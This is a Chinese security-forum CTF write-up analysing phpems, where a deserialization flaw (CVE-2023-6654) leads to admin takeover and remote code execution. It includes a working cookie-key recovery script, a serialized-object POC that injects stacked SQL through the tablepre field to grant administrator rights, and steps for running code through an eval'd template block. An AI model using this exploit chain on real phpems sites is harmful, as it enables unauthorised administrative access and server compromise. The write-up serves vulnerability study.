问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
西湖论剑phpems分析
漏洞分析
对phpems的反序列化漏洞导致rce的分析
### 西湖论剑phpems分析 #### 路由分析 拿到题目后,本地进行搭建测试。首先phpems是个mvc的架构,先去GitHub上看了路由访问的规则文档(<https://github.com/oiuv/phpems/>) ![image-20240225142104358.png](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-6f84c66cc164c8ceb16fb49f44430054fd9d6dbe.png) 看到路由访问规则后,首先先看路由加载的逻辑。有个比较方便的方法是采用Exception类的getTraceAsString来打印堆栈,从而获取函数的调用路径。 ```php D:\phpstudy_pro\WWW\phpems\app\user\controller\login.app.php:23:string '#0 D:\phpstudy_pro\WWW\phpems\app\user\controller\login.app.php(16): PHPEMS\action->index() #1 D:\phpstudy_pro\WWW\phpems\lib\init.cls.php(110): PHPEMS\action->display() #2 D:\phpstudy_pro\WWW\phpems\index.php(8): PHPEMS\ginkgo->run() #3 {main}' (length=244) ``` 跟进函数进行分析 ```php //执行页面 public function run() { self::$app = self::$defaultApp; $ev = self::make('ev'); if($ev->url(0)) { self::$app = $ev->url(0); } self::$module = $ev->url(1); self::$method = $ev->url(2); if(!self::$module)self::$module = 'app'; if(!self::$method)self::$method = 'index'; include PEPATH.'/app/'.self::$app.'/'.self::$module.'.php'; $modulefile = PEPATH.'/app/'.self::$app.'/controller/'.self::$method.'.'.self::$module.'.php'; if(file_exists($modulefile)) { include $modulefile; $tpl = self::make('tpl'); $tpl->assign('_app',self::$app); $tpl->assign('method',self::$method); $run = new action(); $run->display(); } else die('error:Unknown app to load, the app is '.self::$app); } ``` run函数是其中根据路由进行实例化指定controller的地方。这里面有几个核心函数,make和url,make函数是用来引入lib文件夹下的类文件并实例化类的。url函数是用来获取路由中的action和controller的部分。遇到这样的MVC首先可以考虑下文件包含的问题,因为直接将module这些用户可控的变量直接带入了include中。 ```php public function __construct() { $this->strings = \PHPEMS\ginkgo::make('strings'); if (ini_get('magic_quotes_gpc')) { $get = $this->stripSlashes($_REQUEST); $post = $this->stripSlashes($_POST); $this->cookie = $this->stripSlashes($_COOKIE); } else { $get = $_REQUEST; $post = $_POST; $this->cookie = $_COOKIE; } public function parseUrl() { if(isset($_REQUEST['route'])) { $r = explode('-',$_REQUEST['route']); foreach($r as $key => $p) { $r[$key] = urlencode($p); } } elseif(isset($_SERVER['QUERY_STRING'])) { $tmp = explode('#',$_SERVER['QUERY_STRING'],2); $tp = explode('&',$tmp[0],2); $r = explode('-',$tp[0]); foreach($r as $key => $p) { $r[$key] = urlencode($p); } } else return false; if(!$r[0] || !file_exists('app/'.$r[0].'/')) { $r[0] = \PHPEMS\ginkgo::$defaultApp; } if(!file_exists('app/'.$r[0].'/'.$r[1].'.php') || $r[1] == 'auto') { $r[1] = 'app'; } if(!file_exists('app/'.$r[0].'/controller/'.$r[2].'.'.$r[1].'.php')) { $r[2] = 'index'; } if($r[1] == 'app' && $this->isMobile()) { $r[1] = 'phone'; } if(!$r[3])$r[3] = 'index'; if(substr($r[3],0,1) == '_')$r[3] = 'index'; return $r; } public function url($par) { $par = intval($par); if(isset($this->url[$par]))return $this->url[$par]; else return false; } ``` 可以看到在parseUrl采用了urlencode的方式,这会导致所有的/变成%2f从而无法进行目录穿越进行文件包含。 回到前面的run方法,我们会发现,其实这个调用controller里面action的方法并没有采用反射的方法,而是采用了将所有的控制器的父类都命名为app,再将所有的controller类名命名为action。再通过controller里面的display方法调用路由中的指定方法。从这里我们也能发现,app父类主要是用来做鉴权和一些类的引入及初始化。 #### 密钥获取 分析完整体的流程后,对该系统进行了历史cve的搜索,发现存在一个反序列化的漏洞[CVE-2023-6654](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-6654)。自己分析的时候,首先先全局搜索了unserialize的方法,发现在对cookie还有一些字符串进行操作时有一个encode和decode方法。 ```php public function encode($info) { $info = serialize($info); $key = CS; $kl = strlen($key); $il = strlen($info); for($i = 0; $i < $il; $i++) { $p = $i%$kl; $info[$i] = chr(ord($info[$i])+ord($key[$p])); } return urlencode($info); } public function decode($info) { $key = CS; $info = urldecode($info); $kl = strlen($key); $il = strlen($info); for($i = 0; $i < $il; $i++) { $p = $i%$kl; $info[$i] = chr(ord($info[$i])-ord($key[$p])); } $info = unserialize($info); return $info; } ``` 既然decode方法涉及到cookie的操作,会在任意路由的时候被调用。那么现在的问题就是如何获得到加密中用到key的值了,如果运气好,对方管理员没有修改默认的密钥就可以进行直接反序列化的攻击了,修改了则就需要通过一些反序列化中存在的字段推出密钥了。其实,这个加密可以看成简单的ECB对称加密,所以通过反序列化的格式以及键名就能反推出密钥了。 这里解开后的序列化数据如下所示: ```php a:8:{s:13:"sessionuserid";s:2:"34";s:15:"sessionpassword";s:32:"e10adc3949ba59abbe56e057f20f883e";s:9:"sessionip";s:9:"127.0.0.1";s:14:"sessiongroupid";s:1:"1";s:16:"sessionlogintime";i:1708610036;s:15:"sessionusername";s:4:"test";s:16:"sessiontimelimit";i:1708610036;s:9:"sessionid";s:32:"ef05ad75e9656da99ba42372d756d477";} ``` 截取的前32位为 ```php a:8:{s:13:"sessionuserid";s:2:"3 ``` 除了sessionid的值和注册的用户数量有关,所以密钥的第32位和倒数第4位没法准确的确定外,其它都可以还原出来了。而这两位也可以根据序列化的格式进行爆破。最终就可以还原出密钥了。 还原密钥的脚本如下: ```php function decode1($info,$key=null) { if(!$key) $key = '1hqfx6ticwRxtfviTp940vng!yC^QK^6'; // $info = urldecode(($info)); $kl = strlen($key); $il = strlen($info); for($i = 0; $i < $il; $i++) { $p = $i%$kl; $info[$i] = chr(ord($info[$i])-ord($key[$p])); } // var_dump($info); $info = unserialize($info); return $info; } function get_key($cookie){ // $info='10adc3949ba59abbe56e057f20f883e"'; // $enc=substr($cookie,64,32); $key = 'a:8:{s:13:"sessionuserid";s:2:"2'; $info=urldecode(urldecode($cookie)); $use_info=substr($info,0,32); $kl = strlen($key); $il = strlen($use_info); for($i = 0; $i < $il; $i++) { $p = $i%$kl; $use_info[$i] = chr(ord($use_info[$i])-ord($key[$p])); } for($i=0;$i<128;$i++){ for($j=0;$j<128;$j++){ $use_info[31]=chr($i); $use_info[28]=chr($j); if(decode1($info,$use_info)){ return $use_info; } } } return 'error'; } ``` 还原密钥后我们就可以进行进行任意的反序列化操作了。 在这里我也想过一个问题,既然这cookie进行了这样的加密,还存储了这么多的用户信息,会不会是类似jwt的验证方式,那么有了密钥之后,我们就能对cookie进行伪造,这样是不是就能伪装管理员身份进入后台了。但是在后续的测试中,发现这个方法并行不通。 ```php //获取会话用户 public function getSessionUser() { if($this->sessionuser)return $this->sessionuser; $cookie = $this->strings->decode($this->ev->getCookie($this->sessionname)); if($cookie['sessionuserid']) { $user = $this->getSessionValue(); if($cookie['sessionuserid'] == $user['sessionuserid'] && $cookie['sessionpassword'] == $user['sessionpassword'] && $cookie['sessionip'] == $user['sessionip']) { $this->sessionuser = $user; return $user; } } return false; } public function getSessionValue($sessionid = NULL) { if(!$sessionid) { if(!$this->sessionid)$this->getSessionId(); $sessionid = $this->sessionid; } if(!$this->data || !$this->data[$this->sessionid]) { $data = array(false,'session',array(array('AND',"sessionid = :sessionid",'sessionid',$this->sessionid))); $sql = $this->pdosql->makeSelect($data); $this->data[$this->sessionid] = $this->db->fetch($sql); } return $this->data[$this->sessionid]; } ``` 可以发现cookie中唯一用到的只是sessionuserid,后续用该sessionuserid带入数据库查询获得user,而sessionuserid又是一串hash字符串无法进行伪造,并且查询时也用了pdo,无法进行注入,所以这里的鉴权是无法通过伪造cookie绕过的。 #### 反序列化链 有了反序列化的入口点,现在的问题再于寻找反序列化的链子了。全局搜索入口点\_\_destruct,发现虽然有很多\_\_destruct的函数,但是由于该cms未使用autoload等自动加载机制,从而导致仅有PHPEMS\\session类的\_\_destruct较为好触发。 ```php public function __destruct() { $data = array('session',array('sessionlasttime' => TIME),array(array('AND',"sessionid = :sessionid",'sessionid',$this->sessionid))); $sql = $this->pdosql->makeUpdate($data); $this->db->exec($sql); if(rand(0,5) > 4) { $data = array('session',array(array('AND',"sessionlasttime <= :sessionlasttime","sessionlasttime",intval((TIME - 3600*24*3))))); $sql = $this->pdosql->makeDelete($data); $this->db->exec($sql); } } ``` 这里面makeUpdate进行了生成update的sql语句操作,再通过pdo进行执行。跟进查看具体细节实现 ```php public function makeUpdate($args,$tablepre = NULL) { if(!is_array($args))return false; if($tablepre === NULL)$tb_pre = $this->tablepre; else $tb_pre = $tablepre; $tables = $args[0]; $args[1] = $this->_makeDefaultUpdateArgs($tables,$args[1]); if(is_array($tables)) { $db_tables = array(); foreach($tables as $p) { $db_tables[] = "{$tb_pre}{$p} AS $p"; } $db_tables = implode(',',$db_tables); } else $db_tables = $tb_pre.$tables; $v = array(); $pars = $args[1]; if(!is_array($pars))return false; $parsql = array(); foreach($pars as $key => $value) { $parsql[] = $key.' = '.':'.$key; if(is_array($value))$value = serialize($value); $v[$key] = $value; } $parsql = implode(',',$parsql); $query = $args[2]; if(!is_array($query))$db_query = 1; else { $q = array(); foreach($query as $p) { $q[] = $p[0].' '.$p[1].' '; if(isset($p[2])) $v[$p[2]] = $p[3]; } $db_query = '1 '.implode(' ',$q); } if(isset($args[3])) $db_groups = is_array($args[3])?implode(',',$args[3]):$args[3]; else $db_groups = ''; if(isset($args[4])) $db_orders = is_array($args[4])?implode(',',$args[4]):$args[4]; else $db_orders = ''; if(isset($args[5])) $db_limits = is_array($args[5])?implode(',',$args[5]):$args[5]; else $db_limits = ''; if($db_limits == false && $db_limits !== false)$db_limits = $this->_mostlimits; $db_groups = $db_groups?' GROUP BY '.$db_groups:''; $db_orders = $db_orders?' ORDER BY '.$db_orders:''; $sql = 'UPDATE '.$db_tables.' SET '.$parsql.' WHERE '.$db_query.$db_groups.$db_orders.' LIMIT '.$db_limits; // var_dump(array('sql' => $sql, 'v' => $v)); return array('sql' => $sql, 'v' => $v); } ``` 这里可以看到在该查询中有个tablepre的变量在反序列化中是可控的。并且在pdo预编译中,是无法对于表名进行预编译的,从而导致这里存在对该cms用到的任意表的任意数据进行修改。这里我们将需要修改数据的sql语句放入tablepre变量中,并注释掉后续的语句。同时这里pdo的用法是可以进行堆叠查询的,所以可以执行任意的sql语句。 反序列化的POC如下所示: ```php <?php namespace PHPEMS; class session { public $sessionid='1111111'; public function __construct() { $this->pdosql = new pdosql; $this->db = new pepdo(); } } class pdosql { private $db; public function __construct() { $this->tablepre=' x2_session set sessiongroupid=\'1\' where sessionid=\'96a0e7fc80194815f509d8ef101f2ab8\' -- '; $this->db =new pepdo(); } } class pepdo{ private $linkid = 0; private $log = 1; //开启日志,位置data/error.log public function __construct() { $this->linkid=0; } } function encode($info,$key=null) { $info = serialize($info); // if(!$key) // $key = '1hqfx6ticwRxtfviTp940vng!yC^QK^6'; $kl = strlen($key); $il = strlen($info); for($i = 0; $i < $il; $i++) { $p = $i%$kl; $info[$i] = chr(ord($info[$i])+ord($key[$p])); } return urlencode($info); } $key= '4b394f264dfcdc724a06b9b05c1e59ed'; echo urlencode(encode(array('sessionid'=>'312312312',new session()),$key)); ``` 这里将sessiongroupid设置为1,即后台管理员的sessiongroupid值,从而实现以普通用户身份进入后台。 #### 后台RCE 进入后台后,寻找可以getshell的地方。审计过程中,发现php在上传的黑名单中,并且无法进行更改,同时上传文件会进行重命名操作,所以也无法采用.htaccess等方法进行getshell。 ```php $this->forbidden = array('rpm','exe','hta','php','phpx','asp','aspx','jsp'); ``` 后续发现了存在模板编辑的地方,考虑这里是否可以进行getshell。查看模板编译的逻辑 ```php //编译模板 public function compileTpl($source) { $content = $this->readTpl($source); $this->compileSeminar($content); $this->compileBlock($content); $this->compileTree($content); $this->compileLoop($content); $this->compileEval($content); $this->compileSql($content); $this->compileIf($content); $this->compileInclude($content); $this->compileArray($content); $this->compileDate($content); $this->compileRealSubstring($content); $this->compileSubstring($content); $this->compileRealVar($content); $this->compileEnter($content); $this->compileConst($content); return $content; } ``` 这其中有一项是compileBlock,里面调用这些方法。 ```php public function compileBlock(&$content) { $limit = '/{x2;block:(\d+)}/'; $content = preg_replace_callback($limit,function($matches){ return "<?php echo \$this->exeBlock('{$matches[1]}'); ?>\n"; },$content); } public function exeBlock($id) { \PHPEMS\ginkgo::make('api','content')->parseBlock($id); } public function parseBlock($blockid) { $block = $this->block->getBlockById($blockid); if($block['blocktype'] == 1) { echo html_entity_decode($block['blockcontent']['content']); } elseif($block['blocktype'] == 2) { if($block['blockcontent']['app'] == 'content') { $args = array('catid'=>$block['blockcontent']['catid'],'number'=>$block['blockcontent']['number'],'query'=>$block['blockcontent']['query']); $blockdata = $this->_getBlockContentList($args); $tp = $this->tpl->fetchContent(html_entity_decode($this->ev->stripSlashes($block['blockcontent']['template']))); $blockcat = $this->category->getCategoryById($block['blockcontent']['catid']); $blockcatchildren = $this->category->getCategoriesByArgs(array(array("AND","catparent = :catparent",'catparent',$block['blockcontent']['catid']))); eval(' ?>'.$tp.'<?php namespace PHPEMS; '); } else { $args = array('catid'=>$block['blockcontent']['catid'],'number'=>$block['blockcontent']['number'],'query'=>$block['blockcontent']['query']); $obj = \PHPEMS\ginkgo::make('api',$block['blockcontent']['app']); if(method_exists($obj,'parseBlock')) $blockdata = $obj->parseBlock($args); else return false; } return true; } elseif($block['blocktype'] == 3) { if($block['blockcontent']['sql']) { $sql = array('sql' => str_replace('[TABLEPRE]',DTH,$block['blockcontent']['sql'])); } else { $tables = array_filter(explode(',',$block['blockcontent']['dbtable'])); $querys = array_filter(explode("\n",str_replace("\r","",html_entity_decode($this->ev->stripSlashes($block['blockcontent']['query']))))); $args = array(); foreach($querys as $p) { $a = explode('|',$p); if($a[3]) { if($a[3][0] == '$') { $s = stripos($a[3],'['); $k = substr($a[3],1,$s-1); $v = substr($a[3],$s,(strlen($a[3]) - $s)); $execode = "\$a[3] = \"{\$this->tpl_var['$k']$v}\";"; } else { $k = substr($a[3],2,(strlen($a[3]) - 2)); $execode = "\$a[3] = \"{\$$k}\";"; } eval($execode); } $args[] = $a; } $data = array(false,$tables,$args,false,$block['blockcontent']['order'],$block['blockcontent']['limit']); $sql = $this->pdosql->makeSelect($data); } $blockdata = $this->db->fetchAll($sql,$block['blockcontent']['index']?$block['blockcontent']['index']:false,$block['blockcontent']['serial']?$block['blockcontent']['serial']:false); $tp = $this->tpl->fetchContent(html_entity_decode($this->ev->stripSlashes($block['blockcontent']['template']))); eval(' ?>'.$tp.'<?php namespace PHPEMS; '); return true; } elseif($block['blocktype'] == 4) { $tp = $this->tpl->fetchContent(html_entity_decode($this->ev->stripSlashes($block['blockcontent']['content']))); eval(' ?>'.$tp.'<?php namespace PHPEMS; '); } else return false; } ``` 可以注意到在最后的compileBlock中采用了eval函数,并且content是从数据库中获取的,可以利用之前的反序列化SQL注入直接进行修改,也可以寻找后台是否有调用的地方可以进行修改。全局搜索blocktype ```php private function modify() { $page = $this->ev->get('page'); if($this->ev->get('modifyblock')) { $blockid = $this->ev->get('blockid'); $args = $this->ev->get('args'); $args['blockcontent'] = $args['blockcontent']; unset($args['blocktype']); $this->block->modifyBlock($blockid,$args); $message = array( 'statusCode' => 200, "message" => "操作成功", "target" => "", "rel" => "", "callbackType" => "forward", "forwardUrl" => "index.php?content-master-blocks&page={$page}" ); exit(json_encode($message)); } else { $blockid = $this->ev->get('blockid'); $block = $this->block->getBlockById($blockid); $block['blockcontent'] = $this->ev->stripSlashes($block['blockcontent']); $apps = $this->apps->getAppList(); $blockapps = array(); foreach($apps as $id => $app) { $tmp = \PHPEMS\ginkgo::make('api',$app['appid']); if($tmp && method_exists($tmp,'parseBlock')) $blockapps[$id] = $app; } $this->tpl->assign('block',$block); $this->tpl->assign('blockapps',$blockapps); $this->tpl->assign('page',$page); $this->tpl->display('blocks_modify'); } } private function change() { $blockid = $this->ev->get('blockid'); $blocktype = $this->ev->get('blocktype'); $this->block->modifyBlock($blockid,array('blocktype' => $blocktype)); $message = array( 'statusCode' => 200, "message" => "操作成功", "target" => "", "rel" => "", "callbackType" => "forward", "forwardUrl" => "index.php?content-master-blocks&page={$page}" ); exit(json_encode($message)); } ``` 发现后台有专门对block进行编辑的函数,再确定了编辑函数后,重要的就是这个block的标签是否被使用和触发。全局搜索block匹配的正则表达式 ![image-20240226130721477.png](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-eec0b7b43854ba89e63fdcd2aab654f78824d62c.png) 触发地点为register处的用户协议。那么后台先将模式类型更改为4,再将恶意代码写入内容即可。恶意代码需要第一行写入命名空间的原因是php命名空间必须是程序脚本的第一条语句。所以若恶意代码不包含命名空间,则会在后续拼接的namespace那报错。 ```php eval(' ?>'.$tp.'<?php namespace PHPEMS; '); ``` ![image-20240226131207331.png](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-f5034abba8cf7af197b02d7a7b89001157e9c9de.png) ![image-20240226131220576.png](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-3342e583fdb540230427a6851afb037944ecffe6.png) ![image-20240226131327889.png](https://shs3.b.qianxin.com/attack_forum/2024/02/attach-f5d1a3a7cce4b37d487c31b2fa91bb221df74572.png) 成功rce。 #### 参考文章 [https://mp.weixin.qq.com/s?srcid=0202NUk6ZfpBOf1Z8HpGXb5m&scene=23&sharer\_shareinfo=88f6a86236927cdf9be967f0d477d42e&mid=2247494654&sn=2642f75b18e505e31fb691a4a5e7454e&idx=1&sharer\_shareinfo\_first=88f6a86236927cdf9be967f0d477d42e&\_\_biz=MzIzMTQ4NzE2Ng%3D%3D&chksm=e8a1c82fdfd64139c4fd6c312af62128a9bce511acd810b55c0f513b6f5bd7d75cbfbe6dd105&mpshare=1#rd](https://mp.weixin.qq.com/s?srcid=0202NUk6ZfpBOf1Z8HpGXb5m&scene=23&sharer_shareinfo=88f6a86236927cdf9be967f0d477d42e&mid=2247494654&sn=2642f75b18e505e31fb691a4a5e7454e&idx=1&sharer_shareinfo_first=88f6a86236927cdf9be967f0d477d42e&__biz=MzIzMTQ4NzE2Ng%3D%3D&chksm=e8a1c82fdfd64139c4fd6c312af62128a9bce511acd810b55c0f513b6f5bd7d75cbfbe6dd105&mpshare=1#rd)
发表于 2024-03-06 09:00:02
阅读 ( 4088 )
分类:
WEB安全
1 推荐
收藏
0 条评论
请先
登录
后评论
zcy2018
2 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!